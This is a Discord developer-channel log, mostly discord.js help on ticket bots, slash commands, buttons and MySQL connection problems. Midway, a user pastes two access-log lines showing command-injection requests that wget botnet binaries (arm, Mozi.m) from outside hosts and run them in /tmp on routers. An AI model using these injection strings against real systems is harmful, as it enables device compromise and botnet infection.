#development

1 messages · Page 1934 of 1

earnest phoenix
#

by reading them you can make a proper handler

#

Which I have.

#

then what is your issue. I am confused.

boreal iron
#

No both are independent events

earnest phoenix
#

can you have messageCreate and interactionCreate within one another?

earnest phoenix
#

So, how tf can a bot get a message received from a user.

#

Uhm

#

Its a ticket bot ModMail but in DM's.

#

with messageCreate

#

as long as your bot isn't in 100+ servers you can freely get the content of a message with the message content intent

#

but slash commands are different I dont think discord treats them as actual messages.

#

right fake?

boreal iron
earnest phoenix
#

Okay, so I just literally need to make the messageCreate handle creating the channel and getting the opening message etc sent, then I can add a interactionCreate to do commands in my main file as well?

#

I don't even know what the original issue was so I can't answer sorry, hopefully someone else can :)

boreal iron
earnest phoenix
#

Here are the events in order:

#

- User Dm's the bot
- The Bot Creats a Channel named their user ID
- Sends a embed to the channel with their opening message
- The staff does /reply <message>
- The bot then finds the user using the channel name
- The bot sends the /reply message to the user

#

and then its back n' forth

boreal iron
#

So basically a ticket system, yeah

#

There’s no need for common commands anymore

earnest phoenix
#

mhm

boreal iron
#

A DM always allows you to use read the message content

#

But

#

Using slash commands here, as well is much more user friendly

earnest phoenix
#

mhm

boreal iron
#

Also something I didn’t get is the channel you wanna create

#

You wanna have a DM to guild (user ID) channel chat?

#

Means a support server handles incoming requests in the channels named with the user ID?

earnest phoenix
#

Yes.

#

Exactly.

boreal iron
#

Bad idea

earnest phoenix
#

Welp, it's the way I gotta make it 🤣

boreal iron
#

Channel creating limits, max channel limits etc

earnest phoenix
#

It's alr, the bot has features/commands to help with that

#

I think I get what he means

#

If he is talking about the usual mod mail stuff

boreal iron
#

But still there’s actually not any issue if you wanna do that using slash commands only

earnest phoenix
#

the user would dm the mod mail bot it would create a channel that only staff members can see and they can reply to the user through the bot in their dms

#

right?

#

That is how the typical modmail bot works

earnest phoenix
#

but with non-generic prefix commands, this would be v13 SC's.

#

(SC's = Slash Commands)

earnest phoenix
#

Since the channels would be deleted after closing the ticket anyway

#

The bot would literally only be added to a 60 Member Server o-o

boreal iron
#

Which will trigger the channel creating limits per day

#

But if he wants to, not my issue tho

#

Still only slash commands

earnest phoenix
#

Yeah, I would like too :) o-o

earnest phoenix
#

Has this always been a thing?

boreal iron
#

Only things you have to keep in mind is if anyone is answering to the user who started the request, use /reply message in the associated channel to deal with it using a slash command

#

Because I don’t think this will get the message intent

#

There’s literally no reason

earnest phoenix
#

It will be in 1 server.

boreal iron
#

Ah ok

#

That makes things easier

earnest phoenix
#

yea

#

Yeah heh

#

which is why I was thinking it was okay

#

cause he said it was for 1 server only

boreal iron
#

But still using slash commands in the DM

earnest phoenix
#

Nope

#

In the server.

boreal iron
#

A lot more user friendly as I said

earnest phoenix
#

o-o

earnest phoenix
#

🤔

boreal iron
#

Why in the server if you can respond by sending a message in the channel (of the user ID)

earnest phoenix
#

Because the Staff might wanna have side notes.

boreal iron
#

Tbh there’s actually no need of commands here at all

earnest phoenix
#

So they can discuss what the thread is ab inside the channel.

#

I alr have that made^

#

I have a version of that made

#

Made with djs v11

#

Nah jk, easily upgradeable.

boreal iron
#

Only commands I can think of are commands to close the conversation for example

#

Maybe to categorize it

earnest phoenix
#

Which /close would still send to the user.

#

I'm just so confused how to do it RG_Wumpus_Sad

boreal iron
#

Let me recommend a slash command to open the ticket a last time
This time speaking about the aspect of spam and bot messages, slash commands can only be used by users and can’t really be spammed

#

Just to say a last time

earnest phoenix
#

Alright, I'll try it.

#

I may need some talking through o-o

boreal iron
#

Anyways what’s the issue at all if you actually have a plan how it works already?

earnest phoenix
#

Oh thats right, a slash command isn't a literal message, it's a empheral command sent by the user but executed by the bot.

#

Makes sense.

earnest phoenix
#

lmfao whyGod

boreal iron
#

That’s why I said use a slash command to open the conversation

#

And if it’s opened just send over anything the user types

#

No need for another slash command then

earnest phoenix
#

How would I add messageCreate into a interactionCreate?

#

I am so confused whyGod

boreal iron
#

If any user sends a DM your bot check he has an active conversation and if not just ignore the spam

earnest phoenix
#

Ikr lol

boreal iron
#

It’s literally 1000x easily than you think

earnest phoenix
#

Your right, I am thinking like 2020200 million different way's to do this.

#

all involve both messageCreate and interactionCreate

boreal iron
#

An user enters your /openticket slash cmd in DMs
You add the user ID to your global conversation cache (var)
If an user sends messages to via DM check if his ID is in the cache
If it is transfer it to the channel in your server you created along with the /openticket command
If not just return the messageCreate event because the user has no active conversation and just randomly sends a message via DM

earnest phoenix
#

Tf is a var?

#

OH

#

okay edw_grookeynotes

boreal iron
#

variable …

earnest phoenix
#

Okay

#

So

#

Nvm

#

I lost my train of thought.

boreal iron
#

Wtf makes a lot of sense

#

It’s just your whole code in words

#

*explained in

earnest phoenix
#

mhm mhm

boreal iron
#

Ok a last time step by s tep

earnest phoenix
#

but you never answered my question.

#

messageCreate and interactionCreate can go in a index.js?

#

together?

boreal iron
#

Yes

earnest phoenix
#

THATHAIEWHTGUEHUEBHGUGeb

#

That's what I've been asking

#

FOREVER

#

lmfaooo

boreal iron
#

An user uses your slash command to open a ticket.
You check if the slash command is sent in a DM.

#

If so you check if the user has opened the ticket already

earnest phoenix
#

You can check if a slash command is sent in DM's?!?

boreal iron
#

If not you create a channel in your server

earnest phoenix
boreal iron
#

Of course, the channel type can always be checked

earnest phoenix
#

Wtf else is it gonna be but a channel? a Stage Channel? 🤣

boreal iron
#

A text channel like this one?!

earnest phoenix
#

OHH

boreal iron
#

A voice channel

earnest phoenix
#

You mean in the DM's.

#

Specifics please.

#

lmfao

boreal iron
#

A rules channel

#

Whatever more shit exists

earnest phoenix
#

if (message.channel.type === "dm") {

boreal iron
#

You check if the slash command is sent in a DM.

#

I literally said it

earnest phoenix
#

Is it this then:

if (message.channel.type === "dm") {?

boreal iron
#

That command has to be a global command since users need to use it in DMs

earnest phoenix
#

Those take a hour to load SP_Timer

#

I got places to be maaan

#

lmfao jk

boreal iron
#

Take a look the the docs idk if just DM is the right string

boreal iron
#

It available forever after until you delete it

earnest phoenix
#

Makes sense, alr restroom time, so save this convo for when I get back please Cat_ok

boreal iron
#

I guess I’m sleeping then

earnest phoenix
#

I still require your assistance

#

lol

boreal iron
#

Won’t take long until I’m at home

earnest phoenix
#

Okay, gn

boreal iron
#

Not yet

#

I hope there aren’t more question about step 1

#

You will receive the interaction (slash command) via the interactionCreate event

#

Check the channel type and if the user already has an active convo

#

If not creating a channel in your server

#

If yes send him a message he has an active convo running

#

Add the user ID to a global var to be able to check anywhere in your code if he has an active conversation running or not

#

Step 2:
The user can now send messages via DM which will be transferred to your channel

#

This message content is accessible in the messageCreate event

#

Since any user can send a DM even without using the openticket command, check if the user ID (message.user.id) is in your active global conversation list I mentioned before

#

If not return the event

#

If yes just send the message content to your servers channel

earnest phoenix
#

hm

#

hmmm

boreal iron
#

Tbh it actually take longer to explain than code

earnest phoenix
#

So something like this:

client.on("messageCreate", async message => {
  if (message.channel.type === "dm") {
blah blah blah...
if quick.db - db.fetch(`active_${message.author.id)`)
if(quick.db === null) //Meaning there is nothing in the DB showing a active thread is open return;


client.on("interactionCreate", async interaction => {
 if (!interaction.isCommand()) return;

    const { commandName } = interaction;

    if (commandName === 'openticket') {
        await interaction.reply('Opening a Thread!');

<check if user has a active thread open already>
#

I'm confused on what goes in interactonCreate and messageCreate.

boreal iron
#

You better not query the database anytime you receive a message event

#

Imagine if I send 1000 spam messages to your bot

earnest phoenix
#

Looks liike it's gonna need to do it 1k times lol

#

I'm not that smart lol

boreal iron
#

That’s just a tip

#

But yeah the general direction of your code is right

earnest phoenix
#

So

#

Let me get this straight

boreal iron
#

It’s also not needed to define vars if you use them once only

earnest phoenix
#

In: messageCreate there is:

  • Check to see if they have a active thread.
    -- If they don't ignore it.
    --- If they do, send that message to the stored channel.

In interactionCreate there is:

  • Just the open command.
boreal iron
#

if(interaction.commandName …

boreal iron
#

Not needed to extract the commandName from the interaction object

earnest phoenix
#

wym?

#

I am confused.

boreal iron
#

const { commandName } = interaction

#

Why?

#

You use the constant just one time

#

Not needed to extract the commandName from the interaction object

#

Unnecessary

earnest phoenix
#

So replace

    const { commandName } = interaction;

With

if(interaction.commandName);```
boreal iron
#

Why did you define that constant in the first place?

#

I mean there only 2 reasons, you know what you do or you don’t which means you copy stuff you don’t understand

#

The last one will actually not help you in any way to learn things

lyric mountain
#

If without body?

boreal iron
#

Yeah i assume he didn’t get what I mean

#

if(interaction.commandName === "openticket") { … }

#

It’s not like I wanna dictate how you have to code your stuff it’s more like recommending you good practices and stop you from doing unnecessary, weird stuff

earnest phoenix
#

Yeah

#

I mise as well just not do the bot at this point, I have wasted hours of your time, and I still don't get it... sorry.

#

I will still try

#

but dk how far Ill get lol

boreal iron
#

Hmm I explained it very detailed above when you did your break

earnest phoenix
#

and I read it, but I don't think Ik how to code all that.

lyric mountain
#

Nono

#

Inside the parens

#

No

boreal iron
#

Or simply embed.description = "text"

lyric mountain
#

embed.setDescription(owoify("text"))

boreal iron
#

Wtf is owoify

sudden geyser
#

annoying command that weebifies some text

lyric mountain
boreal iron
#

Omg why did I ask

lyric mountain
#

Nope, I ported it to java

boreal iron
#

So it just transforms text requiring text as argument

lyric mountain
#

I kept only the normal level

#

Actually, I ported the base lib, uwuifier

#

Owoify is an extension of it

boreal iron
#

I wanna tell you, you are all weird! pepowot

lyric mountain
#

At uvu it becomes unreadable

boreal iron
lyric mountain
#

They questioned whether they could, but forgot to question whether they should

boreal iron
#

Yeah lol

lyric mountain
#

Sup

#

Aren't u supposed to return the reply?

#

Message content is a string afaik

earnest phoenix
#
const owoify = require ("owoify-js").default
return message.reply(owoify(`${message.content}`));
#

depends on your code lol

sudden geyser
#

I love the description of the owoify-js package

Turning my worst nightmare into a NPM package. This nifty little library helps you turn any string into nonsensical babyspeak similar to the infamous Chrome extension by LeafySweets (which has been deleted unfortunately).

earnest phoenix
#

try that?

#

wait.............

#

are you on discord.js v12....

#

....................

#

...........................................

#

i am so disappointed

#

what do you mean why

#

right, if that's how you view it

#

it's common practice to stay up-to-date with your bots library

#

so you're trying to do an embed, or did i misunderstand

open sparrow
#

how to fix lag mysql?

#

who can help me

#

i buy 20$ host

#

😥

earnest phoenix
#
const { MessageEmbed } = require ('discord.js');
const owoify = require ('owoify-js').default;

const owoEmbed = new MessageEmbed()
.setDescription(owoify(`${message.content}`))

return message.channel.send(owoEmbed);
open sparrow
#

and lagggggggingggggg

earnest phoenix
earnest phoenix
#

Too much effort

#

then why comment kekw

#

Cause it was helpful

#

false

#

I saw code and responded to what I thought the situation was

#

assuming something without context != helpful

#

You're not helpful

#

Rekted nerd

#

Anyway continue I'ma go watch anime

sudden geyser
#

which anime

earnest phoenix
#

i'm not coding lol

open sparrow
#

watch boku no pico is happier anime

sudden geyser
sudden geyser
earnest phoenix
open sparrow
#

at 7 old i watch that

#

and my eye

#

and now i 15 old

#

but i dont can

sudden geyser
open sparrow
#

my brother tell me

#

watch that anime

#

is cute anime happier ending happy

#

like Doraemon

#

:'(

#

and i watch and ... nothing

earnest phoenix
#

Well I'm trying to remain out of a federal jail cell

#

So I'll pass on that anime

sudden geyser
earnest phoenix
#

Looks lame

sudden geyser
#

aw

open sparrow
#

i watch My hero academia ss5

#

i dont like ss5

earnest phoenix
#

My hero academia sucks

open sparrow
#

watch Tensei shitara Slime Datta Ken ss2

#

?

earnest phoenix
#

Already finished both seasons

#

Just waiting for season 3

lyric mountain
#

Execute block is what u want

#

But why?

#

Usually you'd make a procedure for that

earnest phoenix
#

Que

boreal iron
#

If you’re using SQL then yes you can use query inside a query or if it’s just about the result use JOINS

#

Wow what a grammar

sudden geyser
#

easy's often not the best way to approach problems

boreal iron
#

Hmm isn’t the first working solution always the best?

amber bear
#

That moment your bot works first try

sudden geyser
boreal iron
#

Exactly what I meant

prime glacier
#
client.on('message', async message => {
    if(message.content === '!setup'){
        const row = new MessageActionRow()
        .addComponents(
            new MessageButton()
            .setCustomId('primary')
            .setLabel("Test")
            .setStyle("TEST")
        )

        const embed = new discord.MessageEmbed()
        .setTitle('Test')
        .setDescription('Click on `Test` Button To Get BOSS Role')
        .setColor('RED')

        message.channel.send({
            embeds : [embed],
            components : [row]
        })
        
    }

})```
pearl trail
#

TEST style is not available?

prime glacier
pearl trail
#
Discord Developer Portal

Integrate your service with Discord — whether it's a bot or a game or whatever your wildest imagination can come up with.

prime glacier
#

ohhhhhhh

#

thanks

#

❤️

pearl trail
#

np

prime glacier
lethal trout
#

so i had the code that checks if someone voted the bot...
but how can i test it?
i dont have alts to vote it many times

pearl trail
prime glacier
pale vessel
#

Fix the style first

#

And then use a component collector

#

Or use the interaction create event and check the button ID since you're doing button roles

pearl trail
#

if you're replying from interaction, then you can use component collector, but not from message ig

prime glacier
pale vessel
#

ID or style?

#

Did you make the ID "primary"?

prime glacier
#

yes

pale vessel
#

I see

#

You also need to respond to the interaction in order to avoid that error

#

I'm not sure that button.reply.send() does

prime glacier
#

this time i didnt got any error but its says interaction failed

pale vessel
#

Where did you find that method?

pearl trail
#

also clickButton event exist?

prime glacier
pale vessel
#

Are you using discord-buttons or something?

#

Ah

#

Yeah I dunno

#

You should be using v13 by now

prime glacier
#

😂 i really dont know how to do that in v13 xd

pale vessel
#

It has components support

prime glacier
#

Uwu

#

@pale vessel

pale vessel
#

It'll send a fake vote

lethal trout
neat ingot
#

any recommended way to reduce ram for my bot? im using the latest discord.js, and im over 2gb ram with around 700 servers

#

like, it there some cache options i can define so it doesnt cache anything? or something? lol

#

im not storing anything in cache

#

thats the problem

#

lol

#

like, discord.js cache's a bunch of junk behind the scenes

#

i want it not to 😄

prime glacier
# pale vessel It has components support
client.on('interactionCreate', interaction => {
    if (!interaction.isButton()) 
    if(button.id == 'primary') {
        button.reply.send("Added the role", true)
        const role = button.guild.roles.cache.get("865882643551748097")
        const member = button.clicker.member
        await member.roles.add(role)

    }

});```
pale vessel
pale vessel
#

Where did you define button even?

prime glacier
pale vessel
#

Log what interaction is

prime glacier
#

k

pale vessel
#

member should be interaction.member

prime glacier
#
client.on('interactionCreate', interaction => {
    if (!interaction.isButton()) 
        if(button.id == 'primary') {
        interaction.reply.send({ content: 'Pong!', ephemeral: true })
        }
});```
pale vessel
#

interaction.reply()

lethal trout
pale vessel
#

No

pearl trail
#

also isnt that first statement is wrong

#

if*

prime glacier
pearl trail
#

because your if statement will work if its not a button

prime glacier
#

😑 oh

pearl trail
#

also its not reply.send

prime glacier
#

removed !

pearl trail
#

just reply

prime glacier
#

ok

#

done 👀 thanks

pearl trail
#

np

rare mist
#

No, it wont work bcz that function will f* with the json formatting and the "name, value, inline" parameters

dense flame
#

I think it would work this way

.addFields({
    name: owoify("Moderation Commands:"),
    value: "xyz",
    inline: false,
})
dense flame
#

yea

#

except inline

#

imagine

prime glacier
# pearl trail np

one more thing!

client.on('interactionCreate', async interaction => {
    if (interaction.isButton()) 
        interaction.reply({ content: 'Pong!', ephemeral: true })
        const role = interation.guild.roles.cache.get("865882643551748097")
        const member = interation.clicker.member
        await member.roles.add(role)
        
});```

```fix
const role = interation.guild.roles.cache.get("865882643551748097")
                     ^

ReferenceError: interation is not defined```
#

👀

pearl trail
#

read the error, it says that the bot is missing permission

delicate shore
#

Hey guys

#

how can I change this color of text from black to white

#

I am using materialize

#

I cannot find any setting for the same

#
         <div class="input-field col s6">
          <i class="material-icons prefix">color_lens</i>
          <input id="icon_prefix" placeholder="Eg: #FFFFFF" type="text" class="validate center-align primary color1"/>
          <label for="icon_prefix">Like Color</label>
        </div>
                 <div class="input-field col s6">
          <i class="material-icons prefix">color_lens</i>
          <input id="icon_prefix" placeholder="Eg: #808080" type="text" class="validate center-align primary color2"/>

          <label for="icon_prefix">Dislike Color</label>
        </div>
pearl trail
#

input { color: white; }

earnest phoenix
#

also the html semantics have skill issue

pearl trail
#

oh my bad

cinder patio
#

what

tidal nymph
#

is it true that it takes up to 1hr to register slash commands on every guilds that my bot in? I'm about to convert my commands to slash commands

pearl trail
#

yes that's right

tidal nymph
# pearl trail yes that's right

oh, ty ❤️ but what should I do if it actually takes 1hr? I mean all my message commands will be deprecated ofc they wont work anymore

pearl trail
#

maybe you can try registering it first before you update your bot

tidal nymph
#

oh true, I forgot about that

#

haha

tidal nymph
slender thistle
#

If you need to test them, use guild commands

pearl trail
#

nope, it'll be updated automatically

tidal nymph
#

ic

#

thank for spending time to answer me 😄

pearl trail
#

np :)

delicate shore
#

Can anyone assist me

delicate shore
lyric mountain
#

no

#

owoify accepts only strings

#

you can't just pass an object to it

odd sapphire
#

Can someone test code for mr

#

Me

cinder patio
#

hilarious

pearl trail
earnest phoenix
#

Will it even work without admin privileges though

prime glacier
earnest phoenix
#

Having admin perm doesn't mean it get to do literally everything

prime glacier
#

role position

odd sapphire
pearl trail
neat ingot
#

are regular prefix commands no longer supported? are slash commands the recommended way now?

pearl trail
#

soon™️

neat ingot
#

ooohhh, so we will get slash command content, but not regular message content?

boreal iron
#

You will still get the content when mentioning the bot

neat ingot
#

but no real prefix type command support?

boreal iron
#

But interactions are recommended to use anyways

neat ingot
#

makes sense. so mcuh info can be gained from message content

#

yea, but its been like 2 years since i wrote my bot and now im updating it

#

so one thing at a time 😄

boreal iron
#

Well just see the bot mention as prefix then

#

You decide what you wanna use but without mentioning the bot there’s no message content in the received event, as well as no attachments, etc.

earnest phoenix
#

Wym?

wicked pivot
#

message.member.banner = undefined ?

earnest phoenix
#

524 undefined in sdk

spark flint
#

Running double instance?

spark flint
tulip ledge
#

buttons

#

u want the buttons right?

#

its discord's buttons feature

#

oh you mean fix the duplicate message?

slender thistle
tulip ledge
#

show code

#

doesn't matter a link button is still a message button, just of type link

#

mmmh don't see any issue with the code in first glance, maybe you're double instancing?

#

do you by any chance have a second instance of your bot running?

#

if you go into task manager and look for nodejs

#

end them all and then restart your bot

#

that could fix it

#

in task manager

#

ctrl shift esc

#

then if u press n

#

it will go to all tasks starting with N

#

and close the nodejs ones

#

that doesn't rlly change anything

boreal iron
#

81.213.214.192 - - [06/Dec/2021:13:38:50 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+ 185.245.96.227/bins/arm;chmod+777+/tmp/arm;sh+/tmp/arm+selfrep.jaws" 400 20 "-" "-"

quartz kindle
#

Lol

boreal iron
#

wait... for it

#

61.242.40.177 - - [06/Dec/2021:06:56:34 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 403 18 "-" "-"

#

looks like Netgear devices (routers?!) like to share their current settings

quartz kindle
#

wtf

#

i didnt know shell injection was even a thing

#

thats next level sql injection

#

lmao

boreal iron
#

I wonder what port 8088 is... a remote shell interface?!

earnest phoenix
#

you can litterally open ssh access for the thing you are using if its not already open

boreal iron
quartz kindle
#

i dont have any netgears

boreal iron
#

just to say

quartz kindle
#

only had a netgear router once, and it sucked so bad

earnest phoenix
#

my router prob uses lua

quartz kindle
#

lmao

boreal iron
#

I mean I saw many interessting requests over the years but that's new

quartz kindle
#

the router i have right now is a piece of shit

#

uses php

#

i think

boreal iron
#

Uses PHP? Good one, then

quartz kindle
#

lmao

#

it keeps getting connection issues

#

sometimes its the wifi, other times is the line itself

earnest phoenix
#

SUCC SUCC SUCC

#

-my router

boreal iron
#

doesn't mean the whole firmware is build on php

quartz kindle
#

i have tracert running 24/7

#

so i can complain later

boreal iron
#

you, damn spy

quartz kindle
#

it was horrible this morning

#

then it suddenly got better at noon

#

then dc'd around 12:08

earnest phoenix
boreal iron
quartz kindle
#

yes

#

you can see from the graph above

#

lmao

boreal iron
#

damn... maybe star link will become an alternative thing for you in the future

quartz kindle
#

xdoubt

#

if it ever comes here its likely gonna be expensive af

boreal iron
#

yeah too expensive atm

quartz kindle
#

im waiting for fiber to come, it might come in the next couple years

#

technically there is already fiber here, run my one of those small local ISPs that distribute business grade links

#

but they dont even let you use you own router

#

you have to use theirs, and its locked, and you have to ask them to even change your wifi's name

boreal iron
#

I somehow wonder about moving over there anyways but hmm...

quartz kindle
#

lmao

boreal iron
#

guess you got your reasons to

#

hmm 99€ / month

#

maybe cheaper over there, who knows

delicate zephyr
boreal iron
#

That's always an issue even with other manufactures

quartz kindle
boreal iron
#

Even changing the config file to change the DNS servers for exmaple since they're hidden in the UI is against their ToS

quartz kindle
#

so i'd need to clone their mac addresses and somehow extract the pppoe credentials

delicate zephyr
#

hm

quartz kindle
#

without the admin password

delicate zephyr
#

What are they so scared of you doing

boreal iron
#

lol is there even an ISP don't checking for the CM-Mac?

delicate zephyr
#

my work handed me the pppoe creds so I could setup my own router lmfao

delicate zephyr
quartz kindle
#

if i just reset the router, it will stop working

delicate zephyr
#

and most in the UK

boreal iron
#

oh... seems to be different from country to country then

delicate zephyr
#

mhm

boreal iron
#

not possible over here

quartz kindle
#

regular DSL routers from big ISPs here dont check macs

boreal iron
#

you have literally no way to get into the cable network

quartz kindle
#

and they give you the pppoe credentials

#

so you can use whatever modem/router you want

#

but not these small local fiber ISPs

boreal iron
#

If you only had fiber...

#

I'm waiting for it, too but I guess it won't happen the next 10y over here

quartz kindle
#

last i heard, the big ISP in this region is installing fiber in a town 150km from here

boreal iron
#

I mean I theoretically have 1GBit/s but the upload is... urg

quartz kindle
#

hopefully they expand towards here over the next couple years

#

untill then, its either local ISPs or ADSL from the big ISP

boreal iron
#

hmm I mean DSL is quite stable

#

more stable than cable over here

quartz kindle
#

yeah, thats what it was supposed to be like

#

but mine's been absolute grbage

#

lmao

boreal iron
quartz kindle
#

got a technician over last week

boreal iron
#

back to EU then

quartz kindle
#

he changed some stuff on the DSLAM, got quality a bit up, but its still shit

#

attenuation is too high

boreal iron
#

Next time lock the door until it works perfectly

quartz kindle
#

lmao

covert gale
#

how would i have a exec command that just running like !test would run exec and a command at the end on the hosting server

spark flint
#

anyone know why that is happening?

#

the only thing i could think of being a cause is the mysql connection

#

but it worked fully yesterday

jolly notch
spark flint
#

don't think so

#

lemme double check

covert gale
#

how would i get this to work?

#

want to let those users use that command

jolly notch
covert gale
#

what would i use to check if author is allowed?

jolly notch
#

check if they exist in the admin list

covert gale
#

k

spark flint
jolly notch
#

also handle it not connecting and log/send a message

spark flint
#

i checked another of my sites using mysql on same webserver and no issue

#

i made it log in console

#

as this runs on vps

#

not webserver

spark flint
jolly notch
spark flint
#

i am

jolly notch
#

it took me over 30 commits to figure out I was putting port in the username and the username as the port

covert gale
solemn latch
#

like how to have multiple things in an array?

covert gale
#

yea

covert gale
#

729314128879157318, 893887754830770226, 694604709591384226 need these ids to have owner perms

#

k ty

wheat mesa
#

If you’re trying to check for perms just use <Array>.includes()

#

If the array (in this case loaded from your json file) contains whatever parameter you specify in the includes, it’ll return true, if it doesn’t, then returns false

exotic vigil
#

.

#

400548515161309185

spark flint
jolly notch
spark flint
#

just checked

jolly notch
spark flint
#

true

earnest phoenix
covert gale
#

trash code......

earnest phoenix
#

Bro just learn d.js check discord.js guide

sudden geyser
#

it doesn't look that bad

jolly notch
#

@spark flint it looks like your node code

sudden geyser
#

What's bad about it

#

Besides the incorrect check for admin

jolly notch
spark flint
#

yes

sudden geyser
#

really? spaces and tabs are the best thing to complain about?

#

how about the parameters to the on method being incorrect

simple stump
#

When looping through all the members in a server, after around 200-300 members the bot sort of gets “stuck” and doesn’t change the nicknames of all the other people.

simple stump
#

Ah R.I.P.

#

How would I get around it? Or do I have to manually change the nicks for the rest of the people?

earnest phoenix
#

You can add a timeout when changing nicks

boreal iron
#

You should ask yourself why the fuck you need to change the usernames of so many people in the first place

earnest phoenix
#

😄

simple stump
#

Thx

simple stump
#

So everyone has their own nick

earnest phoenix
#

How would you remove the buttons off a embed if they click no?

#

Like if they click yes, it will proceed with whats under if(b.id === 'yes') {...} but if they click no it would remove the "yes" button. Nvm

#

@boreal iron Hello again, it worked.

#

Nvm, I can just set it disabled... I think

#
const { SlashCommandBuilder } = require('@discordjs/builders');
const Discord = require('discord.js')
const disbut = require('discord-buttons');
const { MessageActionRow, MessageButton } = require("discord-buttons");

module.exports = {
    data: new SlashCommandBuilder()
        .setName('ban')
        .setDescription('Replies with Pong!')
        .addUserOption(option => option.setName('user').setDescription('Select a User to Ban.'))
                  .addStringOption(option => option.setName('reason').setDescription('Include a Ban Reason.')),
    async execute(interaction, message) {




  }
}```

```java
**ERROR:**


/home/runner/Staff-Manager/node_modules/discord-buttons/src/v12/Classes/APIMessage.js:9
class sendAPICallback extends dAPIMessage {
                              ^

TypeError: Class extends value undefined is not a constructor or null
    at Object.<anonymous> (/home/runner/Staff-Manager/node_modules/discord-buttons/src/v12/Classes/APIMessage.js:9:31)
quartz kindle
#

whats your discord.js version?

earnest phoenix
#

v13

quartz kindle
#

then dont use discord-buttons

earnest phoenix
#

Oh no

#

it works with 12.5

#

Grrr

earnest phoenix
quartz kindle
#

v13 has built in support

#

check the docs

earnest phoenix
#

Do those allow collectors as well?

quartz kindle
#

yes

earnest phoenix
#

Ah alr

#

Cracks knuckles

#

Those docs, don't show how to use it lmfao

#

What is filter?

const filter = i => i.customId === 'primary' && i.user.id === '122157285790187530';

const collector = interaction.channel.createMessageComponentCollector({ filter, time: 15000 });

collector.on('collect', async i => {
    if (i.customId === 'primary') {
        await i.update({ content: 'A button was clicked!', components: [] });
    }
});```
#

what is primary? 🤣
Why is there a user id?

proven lantern
#

maybe i can make my own build with that guys pr

boreal iron
#

interaction.channel is the channel obviously and .message the property to get the content from to edit it and remove the components

earnest phoenix
#

Can you not use buttons & Slash commands?

boreal iron
#

Huh what?

earnest phoenix
#

You can't use slash commands & buttons?

boreal iron
#

You mean buttons as response of an interaction (slash command)?
Of course you can.

earnest phoenix
#

Yeah, but it's not working.

#

    const row = new MessageActionRow().addComponents(
new MessageButton()
.setLabel("YES")
.setStyle('SUCCESS')
.setCustomId('yes'),
    
new MessageButton()
.setLabel('No')
.setStyle('DANGER')
.setCustomId('no')

    );

    interaction.channel.send({ content:`Are you sure?`, ephemeral: true, components: [row] })

boreal iron
#

Means you don’t respond to the event if a button was pressed

earnest phoenix
#

I haven't added that yet.

#

I just want the buttons to show first lmfao

#

Got it

boreal iron
#

When pressing that button you will receive another interaction event

earnest phoenix
#

Can't be emhemeral

#

but

#

Why does it say "This interaction failed"

boreal iron
#

Means you don’t respond to the event if a button was pressed

earnest phoenix
#

What?

boreal iron
#

I explained why above

earnest phoenix
#

What does that mean?

#

if a button was pressed

#

but it wasn't o-o

spark flint
#

what went wrong here

boreal iron
#

Oh I see

#

You send a message to the channel not responding to the interaction /ban

boreal iron
#

Use interaction.reply

earnest phoenix
#

Ah yep

#

Makes sense.

boreal iron
#

Not channel.send

#

To respond to the interaction

earnest phoenix
#

Yep yep, ty

boreal iron
#

You just send a message to the channel which has nothing to do with the interaction at all

boreal iron
earnest phoenix
#

Error

/home/runner/Staff-Manager/node_modules/discord.js/src/rest/RequestHandler.js:349
      throw new DiscordAPIError(data, res.status, request);
            ^

DiscordAPIError: Unknown interaction```

const row = new MessageActionRow().addComponents(

new MessageButton()
.setLabel("YES")
.setStyle('SUCCESS')
.setCustomId('yes'),

new MessageButton()
.setLabel('No')
.setStyle('DANGER')
.setCustomId('no')

);

interaction.reply({ content:`Are you sure?`, components: [row], })

const filter = (interaction) => {
if(interaction.user.id === message.author.id) return true;
return interaction.reply({ content: "You can't use this button" })

}

const collector = message.channel.createMessageComponentCollector({ filter,
max: 1,
 })

collector.on('end', (ButtonInteraction) => {
console.log(ButtonInteraction.first().customId)

})```

boreal iron
boreal iron
#

Send the associated code

spark flint
#

OHH

#
const connection = await mysql.createConnection({host:'host url', user: 'username', password: "user password", database: 'database', Promise: bluebird});
const data = await connection.execute('SELECT * FROM `images` WHERE `id` = ?', [img]);
const pagedata = await connection.execute('SELECT * FROM `api` WHERE `userid` = ?', [data[0][0].userid]);
#

thats the code

#

for the sql bit which fails

boreal iron
#

You’re trying to connect to an external MySQL server, right?

#

Looks like it doesn’t even respond, means the servers firewall is blocking you for example

spark flint
#

i'll try contact the hosting company now as i can access from my pc

boreal iron
#

Does it use the default port 3306?

#

If not you have to specify that in the connection options

spark flint
boreal iron
#

If you would enter wrong credentials or the server would return the connection you would get a proper error message.

spark flint
#

yep i tried

boreal iron
#

Yeah you’re not able to contact the MySQL then most likely

#

If so and you haven’t access to it, it would respond with a connection refused

spark flint
#

AH i seee the issue

boreal iron
#

Wrong hostname?

spark flint
#

nope

boreal iron
#

Yeah what I assumed in the beginning

#

Usually servers aren’t exposed to the net

#

Well then add the IP your request comes from and you’re able to connect

spark flint
#

jsut whitelisted it, will test now

boreal iron
#

Also make sure the users are allowed to connect from any host other than localhost

#

The placeholder is %

spark flint
#

this is different

#

the ip was already mysql whitelisted

#

this was fully blocked from accessing the webserver

boreal iron
#

Huh what? Don’t get the last one

spark flint
#

the server has a firewall

#

and this was blocked on the firewall

#

completely seperate to the mysql bit

boreal iron
#

Which one are you talking about now?

spark flint
#

the database hosting

boreal iron
#

The webserver?

spark flint
#

yep

boreal iron
#

Ah

spark flint
#

webserver

boreal iron
#

Wtf

spark flint
#

just whitelisted it

#

probs because it sent too many requests

#

i get flagged up myself sometimes and you need to do a captcha

boreal iron
#

The database needs a firewall rule for INCOMING requests from your webserver

spark flint
#

yep it works now

boreal iron
#

?

spark flint
#

the url

boreal iron
#

Can’t see anything

spark flint
boreal iron
spark flint
#

yeah its just a ss

#

before it was running a temporary page which didn't get data from the database

boreal iron
#

Ah the image site

spark flint
#

yep

boreal iron
#

Damn… we’re speaking 2 different languages I guess

spark flint
#

lol

earnest phoenix
#

Code

    const row = new MessageActionRow().addComponents(
new MessageButton()
.setLabel("YES")
.setStyle('SUCCESS')
.setCustomId('yes'),
    
new MessageButton()
.setLabel('No')
.setStyle('DANGER')
